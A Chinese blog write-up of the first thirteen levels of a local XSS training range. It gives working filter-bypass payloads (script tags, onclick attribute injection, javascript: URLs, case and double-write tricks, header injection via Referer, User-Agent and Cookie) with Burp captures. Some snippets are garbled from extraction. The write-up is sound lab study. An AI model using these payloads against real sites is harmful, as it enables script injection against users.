

Xss挑战之旅-WriteUp(前13关)

原创

Hey_Qiao 于 2020-11-03 23:09:53 发布 127 收藏

文章标签: [xss javascript](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_46394638/article/details/109477963

版权

Xss挑战之旅-WriteUp(前13关)

作为荒废已久的小菜鸡恰巧这几天比较有时间, 想重新整理一下XSS的笔记, 于是找到搭建的xss实验靶场, 重新练练手。顺手写下自己的一个解题思路, 当做笔记总结。WriteUp如有错误或有更好的办法, 还请大佬指教!

另附XSS挑战之旅靶场源码下载链接: <https://pan.baidu.com/s/1Lw-jGb5TMddPWY8IFAn8yw> 提取码: rtrg

测试字符: `<"{}>`

第一关

上测试字符, 查看源码。看一下字符过滤情况, 发现单引号和双引号被 / 转义, 但是 `<>` 没有被过滤, 直接上构造 payload

```
http://127.0.0.1/xssgame/level1.php?name=<"{}>
```

Post data Referrer 0xHEX %URL

欢迎来到level1

欢迎用户<'\\"{}>

```
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用 户<'\\"{}></h2><center>
<h3 align=center>payload的长度:10</h3></body>
</html>
```

payload: `<script>alert(1)</script>`

第二关

同样查看字符过滤情况

```
body>
h1 align=center>欢迎来到level2</h1>
h2 align=center>没有找到和<'\ '\&quot;{}&gt;>相关的结果.</h2><center>
form action=level2.php method=GET>
input name=keyword value="<'\ '\{0}>"
input type=submit name=submit value="搜索"/>
/form>
```

发现在h2标题处的字符应该是经过htmlspecialchars()函数处理，但是input标签可利用，并且字符过滤情况同第一关。只是闭合情况不同

payload: " onclick=alert(1) "

```
<form action=level2.php method=GET>
<input name=keyword value="\ onclick=alert(1) \">
<input type=submit name=submit value=搜索 />
</form>
```

第三关

字符过滤情况如下

```
<form action=level3.php method=GET>
<input name=keyword value='&lt;'\ '\&quot;{}&gt;''>
<input type=submit name=submit value=搜索 />
</form>
```

判断此处同样使用htmlspecialchars()函数对数据进行处理，但是htmlspecialchars默认不对单引号进行编码，虽然单引号前有转义符，但同样可以用来闭合value的引号

payload: ' onclick=alert(123) '

```
<form action=level3.php method=GET>
<input name=keyword value='\ ' onclick=alert(123) \''>
<input type=submit name=submit value=搜索 />
</form>
```

第四关

```
<form action=level4.php method=GET>
<input name=keyword value="\ '\{0}>">
<input type=submit name=submit value=搜索 />
</form>
```

第四关input框形式与第三关差不多，但不同的是过滤规则更不严谨，使用双引号便可闭合value字段

payload: " onclick=alert(123) "

第五关

```
<form action=level5.php method=GET>
<input name=keyword value="<'\ '\{0}>">
<input type=submit name=submit value=搜索 />
</form>
```

第五关的过滤情况与第四关一样，但是上第四关payload的时候发现，onclick这个关键字被过滤；o_nclick

```
<form action=level5.php method=GET>
<input name=keyword value="\o_nclick=alert(123)\\">
<input type=submit name=submit value=搜索 />
</form>
```

尝试其他利用方法发现没有对javascript进行过滤，上payload

payload: "> "

```
<form action=level5.php method=GET>
<input name=keyword value="1\"><a href=javascript:alert(123)> \\">
<input type=submit name=submit value=搜索 />
</form>
```

第六关

通过测试第六关在第五关基础上，增加对href、src、script、data进行过滤

尝试大小写关键字进行绕过

payload: "><ScRiPt>alert(123)</script> "



第七关

第七关在第六关的基础上，将输入的字符都变成小写，并用删除的方式对script进行过滤

没有找到和move up!相关的结果

(ScRipt) 搜索

```
<form action=level7.php method=GET>
<input name=keyword value="()">
<input type=submit name=submit value=搜索 />
</form>
```

可以使用双写script的方式进行绕过

payload: "><scrscripT>alert(123)</scscripT> "



第八关

第八关的xss语句在一个A的href属性中，可以立马联想到使用javascript:alert().但是经过测试发现此关将script进行转义scr_ipt

，并且启用大写转换小写的函数strtolower()

```
<a href="javascr ipt:alert(123)">友情链接</a></center>
payload的长度:23</h3></body>
```

这里可以使用HTML实体编码的空白符	进行绕过

payload: javascr	ipt:alert(123)

第九关

第九关在第八关的过滤基础上，要求输入的字符需要带有http://不然将无法被输出到A标签的href属性中

```
<form action=level9.php method=GET>
<input name=keyword value="javascr&amp;#x09;ipt:alert(123)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法? 有没有!">友情链接</a>
<h3 align=center>payload的长度:27</h3></body>
</form>
</center><center><BR><a href="http://www.test.com">友情链接</a>
<h3 align=center>payload的长度:19</h3></body>
</html>
```

利用此特性构造payload如下

payload: javascr	ipt:alert("http://")

因为此关同样对引号进行转义，所以alert函数中的引号使用编码"代替

第十关

第十关在测试字符可用字符后发现，在h2标签中对字符进行一个htmlspecialchars函数过滤。在尝试多次后发现，该关存在三个隐藏的input标签，并对其进行测试

```
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
```

测试语句: http://127.0.0.1/xssgame/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

```
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="4" type="hidden">
</form>
```

并发现此字段对关键字过滤不严谨, 直接上payload

payload=[http://127.0.0.1/xssgame/level10.php?keyword=1&t_sort=" onclick=alert\(123\) "](http://127.0.0.1/xssgame/level10.php?keyword=1&t_sort=)

```
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="\ onclick=alert(123) \" type="hidden">
</form>
```

但是此时的input的还是隐藏控件, 这时可以直接手动修改该标签的type值, 手动触发

```
<center>
  <form id="search">
    <input name="t_link" value="" type="hidden">
    <input name="t_history" value="" type="hidden">
    <input name="t_sort" value="\ onclick=alert(123) \" type="button">
  </form>
```

第十一关

有了第十关的思路, 看一下第十一关的源码, 发现出现增加了一个t_ref, 并且该标签的value值为第十关的url; 由此可以想到这个t_ref值应该是从http头部中的Referer字段获取而来

```
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://127.0.0.1/xssgame/level10.php?keyword=1&t_sort=%22%20on" type="hidden">
</form>
```

使用burp进行一个抓包利用, 具体payload如下

```

1 GET /xssgame/level11.php?keyword=good%20job! HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)
  Gecko/20100101 Firefox/52.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 DNT: 1
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10 Referer: " onclick="alert(123)"
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

```

```

1 HTTP/1.1 200 OK
2 Date: Tue, 03 Nov 2020 15:01:36 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
4 X-Powered-By: PHP/5.2.17
5 Content-Length: 754
6 Connection: close
7 Content-Type: text/html
8
9 <!DOCTYPE html><!--STATUS OK--><html>
10 <head>
11 <meta http-equiv="content-type" content="text/html;charset=utf-8">
12 <script>
13 window.alert = function()
14 {
15 confirm("000000");
16 window.location.href="level12.php?keyword=good job!";
17 }
18 </script>
19 <title>0000level11</title>
20 </head>
21 <body>
22 <h1 align=center>0000level11</h1>
23 <h2 align=center>0000good job!0000.</h2><center>
24 <form id=search>
25 <input name="t_link" value="" type="hidden">
26 <input name="t_history" value="" type="hidden">
27 <input name="t_sort" value="" type="hidden">
28 <input name="t_ref" value="" onclick="alert(123)" type="hidden">
29 </form>
30 </center><center><img src=level11.png></center>
31 <h3 align=center>payload000:9</h3></body>
32 </html>
33

```

第十二关

第十二关与第十一关一样，只是获取的头部字段不同，通过查看源码发现，此关从User-Agent头部获取内容

```

<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101" type="hidden">
</form>

```

```

1 GET /xssgame/level12.php HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: " onclick="alert(123)"
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 DNT: 1
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

```

```

1 HTTP/1.1 200 OK
2 Date: Tue, 03 Nov 2020 15:07:39 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
4 X-Powered-By: PHP/5.2.17
5 Content-Length: 745
6 Connection: close
7 Content-Type: text/html
8
9 <!DOCTYPE html><!--STATUS OK--><html>
10 <head>
11 <meta http-equiv="content-type" content="text/html;charset=utf-8">
12 <script>
13 window.alert = function()
14 {
15 confirm("完成的不错！");
16 window.location.href="level13.php?keyword=good job!";
17 }
18 </script>
19 <title>欢迎来到level12</title>
20 </head>
21 <body>
22 <h1 align=center>欢迎来到level12</h1>
23 <h2 align=center>没有找到和相关物结果</center>
24 <form id=search>
25 <input name="t_link" value="" type="hidden">
26 <input name="t_history" value="" type="hidden">
27 <input name="t_sort" value="" type="hidden">
28 <input name="t_ua" value="" onclick="alert(123)" type="hidden">
29 </form>
30 </center><center><img src=level12.png></center>
31 <h3 align=center>payload的长度为0</h3></body>
32 </html>
33

```

第十三关

第十三关同上两关，但获取的头部字段为Cookie中的user值

```
1 GET /xssgame/level113.php HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
  Firefox/52.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Cookie: user=" onclick=alert(123) "
8 DNT: 1
9 Connection: close
10 Upgrade-Insecure-Requests: 1
11
12
```

```
1 HTTP/1.1 200 OK
2 Date: Tue, 03 Nov 2020 15:09:22 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
4 X-Powered-By: PHP/5.2.17
5 Set-Cookie: user=call+me+maybe%3F; expires=Tue, 03-Nov-2020 16:09:22
  GMT
6 Content-Length: 732
7 Connection: close
8 Content-Type: text/html
9
10 <!DOCTYPE html><!--STATUS OK--><html>
11 <head>
12 <meta http-equiv="content-type" content="text/html; charset=utf-8">
13 <script>
14 window.alert = function()
15 {
16 confirm("完成的不错! ")
17 window.location.href="level114.php";
18 }
19 </script>
20 <title>欢迎来到level113</title>
21 </head>
22 <body>
23 <h1 align=center>欢迎来到level113</h1>
24 <h2 align=center>没有找到和相关结果</center>
25 <form id=search>
26 <input name="t_link" value="" type="hidden">
27 <input name="t_history" value="" type="hidden">
28 <input name="t_sort" value="" type="hidden">
29 <input name="t_cook" value="" onclick=alert(123) \ "" type="hidden">
30 </form>
31 </center><center><img src=level113.png></center>
32 <h3 align=center>payload的长度是0</h3></body>
33 </html>
```